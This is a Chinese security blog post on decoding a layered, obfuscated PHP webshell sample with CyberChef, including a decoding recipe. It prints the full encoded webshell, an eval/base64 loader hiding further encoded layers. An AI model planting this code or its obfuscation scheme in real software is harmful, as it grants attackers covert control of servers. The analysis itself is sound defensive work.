Webshell绕过技巧分析之-base64/HEX/Reverse/Html/Inflate/Rot13

在网络安全运营,护网HVV,重保等活动的过程中,webshell是一个无法绕过的话题。通常出现的webshell都不是以明文的形式出现,而是针对webshell关键的内容进行混淆,编码来绕过网络安全产品(IDS,WAF,沙箱,邮件网关,EDR等)产品的检测。本文介绍其中一种曾经出现过的比较复杂的绕过方式,作为《各种数据绕过实战分析篇》中的一篇,这里。通过解析该绕过方式,希望能够对于日常解读webshell pcap数据包,webshell文件提供参考思路。

Webshell介绍

Webshell是一种恶意软件,它通常是由攻击者利用Web应用程序的漏洞或不安全配置,在受攻击的服务器上植入的一段恶意代码。这段恶意代码可以以各种形式存在,例如一段PHP、ASP、JSP等脚本代码,或者是一段可执行的命令或脚本。

Webshell 载体

  • webshell常见的载体是php,asp,jsp等文件格式。
  • webshell的载体还可以是图片,文档,压缩文件文件,即将对应的代码嵌入到图片之中,俗称图片码。
  • webshell的载体可以是网络数据包,即通过RCE远程利用漏洞的形式将恶意代码注入到程序中。更多的关于webshell的远程利用分析,可以参考《安全运营之网络攻击研判分析》,这里。

对于经过编码和混淆之后的webshell,无论载体是什么,都需要提取对应的webshell内容还原对手原本的目的。

Webshell 样本

如下为一段采用多种编码,反转等手段的webshell样本,详见这里,如下:

 <?php$func="cr"."ea"."te_"."fun"."ction";   $x=$func("\$c","e"."v"."al"."('? >'.base"."64"."_dec"."ode(\$c));");  $x("PD9waHAgJHsiR1x4NGNceDRmQlx4NDFceDRjUyJ9WyJceDZhXHg2Nlx4NjRceDYxXHg2OGl2anEiXT0iXHg0MVx4NmUwXHg2ZVx4NWYzXHg3OFx4NTBceDZjb1x4NjlceDU0ZVIiOyRyeWh0bmVsaW5sPSJceDU1XHg2NVx4NThwbFx4NmZceDY5VCI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2N1x4NjN3XHg3YXhceDc1XHg2YVx4N2EiXT0iVWVceDU4cFx4NmNceDZmXHg2OVQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDc3Z2NceDc3XHg3YXhceDc1alx4N2EiXX09Ilx4NTNceDc5XHgzMVx4NGNceDdhXHg0ZUZceDUxS1x4NzlceDdhTlx4NGM3XHg0N1x4MzJWMFx4NzNceDc2XHg3M1x4NTlceDU5XHg3N1x4MzlceDU5cFx4NGNceDY5dUtMOGtceDczXHg0ZFx4NmFUXHg1OFx4NTNceDcxXHg3YUx6MG5JXHg1M1MxS1x4NDJyXHg0ZVx4NGJceDM4XHgzNVB6XHg2M1x4NjdxXHg0Y1x4NTVceDM0bVx4NGNxXHg0M1x4NDNceDYzXHg2Y1x4NDZxZVx4NjFceDZkXHg2M1x4NTNuXHg3MFx4NDNceDYyblx4NzBceDM2UnFceDQxXHg0Zlx4MzBzXHg1M1x4NjkzXHg1NFVISFx4NGRNOFx4NjlceDRjXHg0ZVx4MzY0SXlNXHg2ZVx4NTBEXHg0NWtOXHgzMGtceDUxXHg0MzFceDY3XHg0MVx4M2QiOyR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2Nlx4NjRhXHg2OFx4Njl2alx4NzEiXX09Ilx4M2RceDNkd1x4NzVceDRmXHg2Y1x4NzVceDUzXHg0Ylx4NjlVXHg0Nlx4MzRceDUxXHg1OFx4NTFceDQxL1x4NDlxNlx4NGRZXHg1NkY4L3lceDZkXHg0OEdceDJiUnZ0XHgzMFx4NTRceDYzNW42XHg2Mk5ceDYxXHg2Zlx4NTdceDYzNVVceDMzXHg2Zm5ceDY0XHg0M1x4NTZceDc4XHg2Y1x4NjZ4Ulx4NTBceDc0XHgzOFx4NTA4XHg0ZC9ceDZkXHg1MFx4NzVceDM2OFx4NzJPXHg3M1x4NzhceDczOVx4NzRceDRiXHg2OVx4NDQ5XHg1M1x4MzlZXHg2Y1RceDYxXHg0Zlx4NDdceDc2aVx4NjhceDVhRFx4MmJMTVx4MzJceDQ0XHg2OFx4NzdceDRiXHg2ZVx4NjFnXHgzMGZceDRlNVx4NjNceDRmXHg0MVx4MzRceDUwXHg1Nlx4NjIvXHg1Nlx4MzQwXHgzNzJceDQ4L1x4NTlceDc5XHg2ZXFceDYyci9ceDY2N2lceDY3XHg2MVx4NjlceDRmXHg3Nlx4NTlPclx4NjhceDY5XHg0ZVNTXHg0Y1x4NTFvXHg2OFx4NTBceDJiL1x4MzJceDJidlFceDQza1x4N2EyXHgzNGV0XHg2MW5ceDQ1XHg2ZVx4NzZceDMzXHgzM0Q1UWlceDYyXHg1M3Y0MFx4MmJceDY2XHg0Y1x4MzNyXHg1N1x4NjNceDM3XHgzNVx4NzBlXHgzNFx4NzVceDMzXHg0Ylx4NjlceDZhWlx4NTBTZFdceDc5OWx3NFx4NDJceDMxTi9ceDQxXHg3NjdceDQxVXRceDQydlx4NDRceDUyXHg3MUxceDc5ZVx4MmJOXHg1YVx4NTQvazJceDcyRVx4NjFceDcyXHg1N25ceDM3SFx4NTlaXHgzMVx4NWFceDU2XHg2NVx4NjlceDc3XHg2Y1x4NmFceDc4XHgzMlx4NjlceDc3XHg2YXptXHg2Mlx4N2FceDVhXHg2MVx4MmJceDM4NVx4NmNETVx4NzVyXHg0N1NceDQ0NERceDY2XHg1OFdceDY3alx4MzFceDc1alx4NDJceDYxXHg1NVx4NjhceDQ1XHg1M1x4NjFceDM3dVx4NTVceDZjXHg0MlVSSks0XHgzMFlceDQyaVx4NjFceDMzSlNceDY0dGtSXHg2M1x4NjgxMnVMXHg3OFx4NDI0Wk10XHg0YXZceDY5XHg0NWZXXHg0Mlx4NDJJMVx4NzlceDQ0XHg1NlVXL1x4NTNceDQ0aFx4NDNlVFx4N2FceDcxXHg0Mlx4NDRceDY2XHgzOHJceDY2XHg0ZTY3XHg0MVx4MzNceDc5ZDBOXHg1N1dxXHg0M2dceDM0XHg0N1x4MzRceDUzXHg0Mlx4NjNceDYyRW9ceDcwUFx4NzNceDcxXHgzMXQvXHg3MTBceDYyUFx4NjlceDQ2R1x4NmZceDY3XHg0Ylx4NDc0XHg0MVx4NGRceDRhXHg0MnpSXHg0ZFx4NmRceDMzM1x4NDdKXHgzNVx4NjVceDZiS1x4NTRceDc4XHg3MVx4NDlZXHg2N0dceDMxSlx4NTVJXHg3MFx4NTQ4ZFx4NThpOTNceDRjLzNceDRmNlx4NzFuNVFceDZmXHg2ZFx4NTVKXHgzMHVSeE1GXHg0MnN0bVNceDc1OFx4NDkvXHg1OUlceDcyNVNRXHgzM1x4MzhoXHg0Mlx4NjM3XHg1OFx4MzJceDY5NElceDVhXHgzMlx4NTRceDY2XHg0Mlx4N2FceDJiNlx4Njl2RFx4NDRceDM2bXJVeVx4NDV1XHg3OXF5XHgzMFx4NWF2XHg0Mlx4NGVceDQ2XHg1OVx4MzdvXHg0MXhvXHg0M1x4NGJceDRjXHg0M1x4MzRceDRiXHg0YXcyXHg2N1x4NjVNXHgzOFx4NzhceDYxXHg2OFx4MzhceDZkXHg0NWRGZjZceDc4N1x4NDRceDYyXHgzNjRceDRiXHg2Ylx4NDFOXHg1N1x4NThLZWZceDQ2XHg2Zlx4NGJYc2xceDQzXHg3M1x4N2FceDQyVllceDc1Rlx4NzQvVFx4NzZceDM4XHgyYlx4NThceDM5SVBwUTRceDczXHg2N2lceDQycVx4NzVceDc1VFx4NGFnWlx4NTNceDMyZVx4NzlIXHg1MHRceDcwXHg3NVx4NzNceDcwXHg0NFx4NTNceDdhVkxkXHg2NFx4NGFceDUyXHgyYlx4NjNceDM1SjNceDY2XHg2ZHpRXHgzMFx4NjNxU1x4NzhceDcyaFx4MmJceDYxXHg3MWtnU1x4MmJ2XHg0YVx4NGJnXHg2Nlx4NGFZXHg0ZVx4N2FceDY1XHg2OVx4NDZ4XHg3OE9ceDc1XHg2Nlx4NThtV1x4NjdWXHg3MFx4NDFceDY3cS9ceDU1XHgzMFx4N2FceDQ0XHg3NFx4NDJMM1x4MzRceDMxUDFceDY3XHg0Mlx4NjhceDU5LzJceDU4XHg1OFx4MzJvXHg3Mlx4NWFceDU2UTFceDYxXHg2OUwzXHg2NVx4NzVceDU5XHg2ZVx4NTNceDM1XHgzME1ceDU5ZFx4NzJKWlx4NTJoUzRceDQyR2pceDQyOVx4NzZkTWxceDQ1S1x4NmVzXHg3NFx4NGFKXHg0YVpQblx4NjlkUVx4NWF5XHg2MWRceDczXHg1Mlx4NzJceDYyXHgzN1x4NzFceDM5XHg3M1x4NmVceDRiVkVceDc5XHg2M2VceDY4XHg3MVx4NDFceDQyXHgzM21tS1RceDJiNVx4NDJceDJiOFg0XHg3NTNmM1NceDM4V3ppXHg0M1x4NzREWmZ2Zlx4NmVceDcxSVdTVFx4NjVtXHg0ZVx4NGZWc0hceDU2XHg0MmtIXHg0Ylx4NTZceDc0XHg1Mlx4NmVceDRjZU5JXHg3NDFceDRheFx4NzFceDUwRlx4NTMzXHg0M1N4XHg0MVx4NmJceDMxXHg0M1x4MzM3XHg0YVx4MmJ3XHg1OEhEXHg0Mk1ceDYxL1dceDYyVDJceDU3L1x4NjNceDRid1x4NTlceDQyd1x4NGFlOUhceDcwXHg0MVx4NzVGUS9NXHg0Ylx4NzdceDYzXHg0Mlx4NzdceDRhZVx4MzlIb1x4NDFceDJiRlx4NTEvOEpceDc3XHg2N1x4NDJ3XHg0YWU5SG5ceDQxT0dceDUxL1x4NzNceDRhXHg3N1x4NmJceDQyd1x4NGFlIjtldmFsKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR7JHJ5aHRuZWxpbmx9KSkpKTtleGl0Owo/Pg==");exit;
?>

可以看到该样本的内容经过了编码,因此无法直接获取内容的意图。

识别编码

常见的编码包括base64,URL,hex,char,gzip,xor,utf-8等,详见《各种编码理论篇》,这里。因此第一步需要对于常见的编码字符集有一定的了解,在遇到对应的数据之后能够猜测数据使用的编码手段。当然webshell中本身用来解码的函数也会暗示我们采用的编码手段。

上述webshell样本第一眼能够看出是base64编码,随着解码的深入,会发现越来越复杂。

程序解码

如果使用python等程序的方式解析上述的数据步骤如下:

  • 提取需要解码的数据内容
  • 编写Pythonbase64解码数据
  • 使用IDE显示代码内容

编写程序的灵活度高,但是耗时耗力,并不是日常网络安全运营,HVV,重保过程中重点投入的地方。编写程序只是手段之一,其根本目的在于溯源整个攻击链条。

cyberchef解码

base64解码

  • 提取需要解析的内容,由于输入的是整个webshell内容,因此需要使用正则提取对应的编码内容。正则的内容就是base64字符集的正则,为了略过php,eval,gzinflate等字符,需要匹配长度至少为30的字符串。
  • 提取的内容为base64编码后的数据,因此需要进行base64解码,如下图1:

在这里插入图片描述
图1

Hex解码

如上图1,base64解码之后的数据存在16进制编码的数据,因此需要将16进制转换为对应的字符,如下图2:
在这里插入图片描述
图2
由于From Hex模块的输入是一个数组,二而图中的结果为一串字符串,输入并不是数组。因此先试用使用subsection模块匹配形如\x4c模式的字符,形成数组。然后在使用From Hex将对应的十六进制转换为对应的ASCII字符。

替换分隔符

上图2中遗留的\x影响阅读习惯,因此需要将\x分隔符去除,如下图3:
在这里插入图片描述
图3
上图的subsection本质上是将形如\x4c模式的字符通过From Hex一个个转换,转换之后是以数组形式存在的,因此转换之后的字符需要进行合并,然后整体替换对应的字符。

多种编码逆运算一

上图3从最后的函数可以变量wgcwzxujz采用了base64编码+压缩+HTML编码,因此需要进行相应的逆运算,如下图4:
在这里插入图片描述
图4
注意上图3可知wgcwzxujz和jfdahivjq都是base64字符集内的字符,但是jfdahivjq明显以==开头,和正常的base64不同,因此在对于wgcwzxujz进行逆运算的过程中,subsection部分的正则匹配在结尾加了=字符,用来匹配wgcwzxujz变量。

多种编码逆运算二

上图4中可知jfdahivjq 变量的内容就是An0n_3xPloiTeR,而An0n_3xPloiTeR的内容,经过了反转(strrev),编码(base64_decode),压缩(gzuncompress),xor等多种操作,因此需要对jfdahivjq 变量做相应的逆运算,如下图5,6:
在这里插入图片描述
图5
在这里插入图片描述
图6
图5中对于jfdahivjq 变量的内容,首先匹配提取,然后反转操作,base64解码,由于gzuncompress以及gzinflate的操作进行了三次,因此图6中使用了label和jump的组合,最后rot13解码,关于rot13编码,见这里。

代码美化

上图中最终的结果并不利于代码查看,因此需要针对代码进行美化,如下:
在这里插入图片描述
图7
至此可以看到对手webshell原本的意图,该方法有助于日常网络安全运营,护网HVV,重保等活动的过程中的安全事件调查。

cyberchef recipe

使用的recipe内容如下,可以在cybechef中直接导入即可,如下:

[{ "op": "Regular expression","args": ["User defined", "[a-zA-Z0-9+/=]{30,}", true, true, false, false, false, false, "List matches"] },{ "op": "From Base64","args": ["A-Za-z0-9+/=", true, false] },{ "op": "Subsection","args": ["(?<=\\\\x)([a-fA-F0-9]{2})", true, true, false] },{ "op": "From Hex","args": ["\\x"] },{ "op": "Merge","args": [true] },{ "op": "Find / Replace","args": [{ "option": "Regex", "string": "\\\\x" }, "", true, false, true, false] },{ "op": "Subsection","args": ["[a-zA-Z0-9+/=]{30,}=", true, true, false] },{ "op": "From Base64","args": ["A-Za-z0-9+/=", true, false] },{ "op": "Raw Inflate","args": [0, 0, "Adaptive", false, false] },{ "op": "From HTML Entity","args": [] },{ "op": "Merge","args": [true] },{ "op": "Subsection","args": ["[a-zA-Z0-9+/=]{30,}", true, true, false] },{ "op": "Reverse","args": ["Character"] },{ "op": "From Base64","args": ["A-Za-z0-9+/=", true, false] },{ "op": "Label","args": ["decompress"] },{ "op": "Zlib Inflate","args": [0, 0, "Adaptive", false, false] },{ "op": "Raw Inflate","args": [0, 0, "Adaptive", false, false] },{ "op": "Jump","args": ["decompress", 3] },{ "op": "ROT13","args": [true, true, false, 13] },{ "op": "Generic Code Beautify","args": [] }
]

以上就是针对webshell绕过内容解析的介绍,希望对你日常工作有所帮助。

本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/8298.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

YOLO系列自研改进:基于注意力机制的多尺度特征提取模块

目录 一、原理 二、代码 三、在YOLO中的应用 一、原理 这个模块的原理仍然是利用不同大小的卷积核来提取不同尺度的特征,同样将通道划分为两部分,一部分通过注意力机制进行通道信息和空间信息的提取,另一部分通过多个不同大小的卷积核来提取多尺度的特征信息。 二、代码…

Baidu Comate——AI时代的软件开发利器

目录 Comate产品介绍 1.产品背景 ​编辑 2.产品优势 3.产品特性 4. 支持开发环境及语言 5.使用场景 Comate产品体验 Comate场景应用 2.快捷键的使用 专业插件体验 1.行间注释 2. 代码优化 3.解释说明代码 4.调优建议 5.AutoWork Comate实测体验感受 Comate产品介绍…

Java 8特性(一) 之 手写Stream流filter、map和forEach方法

Java 8特性&#xff08;一&#xff09; 之 手写Stream流filter、map和forEach方法 今天看了一下Java 8的Stream流&#xff0c;学习了一下函数式编程&#xff0c;这才感受函数式编程如此爽&#xff0c;之前就使用过ES8.7.1的函数式编程&#xff0c;当时就在想啥时候咱也能写出这…

Java的BIO/NIO/AIO

1. Java中的BIO、NIO和AIO的基本概念及其主要区别 BIO (Blocking I/O): 传统的同步阻塞I/O模型。每个连接创建成功后都需要一个线程来处理&#xff0c;如果连接没有数据可读&#xff0c;则线程会阻塞在读操作上。这种模型简单易理解&#xff0c;但在高并发环境下会消耗大量系统…

ORACLE 19C RAC DIAG进程消耗大量内存的分析

近期一个ORACLE 19C的RAC环境&#xff0c;多次出现数据库实例的后台进程DIAG消耗很多内存&#xff08;达到20G&#xff09;&#xff0c;节点1、节点2都出现过次问题。 问题分析&#xff1a;通过对DIAG进程TRACE分析&#xff0c;结合在ORACLE官方后台进行问题、BUG查询匹配&…

思腾合力受邀参加VALSE 2024视觉与学习青年学者研讨会

在充满学术氛围的五月&#xff0c;思腾合力荣幸受邀参加了于2024年5月5-7日在重庆举行的第十四届VALSE大会。作为视觉与学习领域的顶级交流平台&#xff0c;VALSE大会每年都吸引着全国专家与学者的目光。 本次大会不仅延续了往届的高水平学术研讨&#xff0c;还进一步拓宽了研究…

台湾精锐APEX行星减速机噪音产生及优化策略

台湾精锐APEX行星减速机在各种机械装置中的应用逐渐广泛。然而&#xff0c;其噪音问题也日益凸显。噪音不仅影响工作环境&#xff0c;还可能对设备的正常运行和使用寿命产生负面影响。因此&#xff0c;了解APEX行星减速机噪音的产生以及优化噪音问题变得至关重要。 APEX行星减…

安卓自动化脚本制作流程详解!

在移动应用日益普及的今天&#xff0c;安卓自动化脚本制作成为了开发者提高工作效率、减少重复劳动的重要手段&#xff0c;本文将详细介绍安卓自动化脚本的制作流程&#xff0c;并通过五段源代码的实例&#xff0c;帮助读者更好地理解和掌握这一过程。 一、安卓自动化脚本制作…

从U盘到云端:企业数据泄露的那些事

在企业的日常运营中&#xff0c;数据安全无疑是极为关键的一环。无论是U盘还是云&#xff0c;数据泄露事件的发生都可能导致企业的核心机密被窃取&#xff0c;甚至损害企业的商业利益和声誉。以下是关于从U盘到云端&#xff0c;企业数据泄露的一些常见情况和应对策略。 U盘&…

各种流量包特征

[CVE-2013-1966] Apache Struts2 远程命令执行漏洞 要执行的命令在exec里面&#xff0c;而且回显数据包里面有明显执行结果回显 [CVE-2017-8046] Spring Data Rest 远程命令执行漏洞 回显不明显&#xff0c;考试提供的解码工具不能解密&#xff0c; [CVE-2017-12149] JBOSS…

揭秘全网热门话题:抖音快速涨粉方法,巨量千川投流助你日增10000粉

在当今社交媒体的时代( 千川投流&#xff1a;hzzxar&#xff09;抖音成为了年轻人分享自己才华和生活的平台。然而&#xff0c;要在抖音上快速获得关注和粉丝&#xff0c;却不是一件容易的事情。今天&#xff0c;我们将揭秘全网都在搜索的抖音快速涨1000粉的秘籍&#xff0c;带…

API攻击为啥盛行,企业应该如何防范

一.API接口到底是什么 API,中文名称叫应用程序编程接口,是现代移动、SaaS 和 Web应用程序的一个关键组成部分。听起来很晦涩难懂,但其实我们每个人的生活都会接触 API:早上出门,打开手机看看天气,天气APP需要通过 API 提取数据;到了公司,被安排出差,赶紧上网查票,购票网站更新…

【3dmax笔记】027:配置修改器集、工具栏自定义与加载

文章目录 一、配置修改器集二、自定义工具栏三、加载工具栏 一、配置修改器集 可以把自己常用的修改命令放到右边框中的部分&#xff0c;便于自己的操作&#xff0c;省去了每次都要花半天时间找命令的尴尬。新建一个二维或者三维物体&#xff0c;点击修改面板&#xff0c;点击…

运算符重载:妈妈我会自己写运算符了

目录 一、题目&#xff1a; 二、分析&#xff1a; 1.矩阵&#xff08;matrix&#xff09;部分&#xff1a; 2.程序部分&#xff1a; 三、代码&#xff1a; 四、提升&#xff1a; 1、思路&#xff1a; 2、重载流插入运算符“<<” 3、代码&#xff1a; 五、进阶&…

尊享面试100题(314.二叉树的垂直遍历python)

题目关键词&#xff0c;从左到右&#xff0c;从上到下&#xff0c;那么使用bfs宽度优先算法。 使用字典v保存每一列的值。 class Solution:def verticalOrder(self, root: Optional[TreeNode]) -> List[List[int]]:if not root: return []v defaultdict(list)qu deque()…

Windows+Linux的虚拟串口工具

文章目录 1.Windows虚拟串口工具1.1 安装教程1.2 使用方法 2.Linux系统虚拟串口工具2.1 socat安装2.2 开启虚拟串口2.3 测试2.3.1 命令测试2.3.2 Cutecom工具测试 2.4 关闭虚拟串口 3.参考资料 1.Windows虚拟串口工具 下载地址&#xff1a;https://www.downxia.com/downinfo/4…

C 语言笔记:字符串处理函数

一、获取字符串长度函数 头文件&#xff1a;#include <string.h> 函数定义&#xff1a;size_t strlen(const char *s); 函数功能&#xff1a; 测字符指针 s 指向的字符串中字符的个数&#xff0c;不包括’\0’ 返回值&#xff1a;字符串中字符个数 #include <stdio.…

怿星科技CEO潘凯:汽车软件研发工具链 国产玩家迎「历史性机会」

「智能汽车时代&#xff0c;国内非常有机会出现类似Vector的企业。」 这是怿星科技CEO潘凯深信的事情&#xff0c;他在行业内已经深耕约18年&#xff0c;创业也已经10年有余&#xff0c;带领着一个约300人的公司&#xff0c;2024年4月与高工智能汽车见面时&#xff0c;正值公司…

vitis 2020.1 Up date XSA文件后,编译不通过

原来是可以编译通过的&#xff0c;升级XSA文件后&#xff0c;出现各种问题&#xff0c;pmufw没法编译通过 xpfw_config.h:14:10: fatal error: xparameters.h: No such file or directory Vitis 2020.2 - fatal error: xparameters.h: No such file or directory (xilinx.com)…

遇到螺纹连接过程中的软连接,怎么办?——SunTorque智能扭矩系统

智能扭矩系统-智能拧紧系统-扭矩自动控制系统-SunTorque 在螺纹连接过程中遇到软连接时&#xff0c;首先需要明确软连接的概念及其特点。软连接通常指的是在螺栓拧紧过程中&#xff0c;由于紧固件与被连接件之间的材料、表面状况或装配工艺等因素&#xff0c;导致拧紧力矩不能…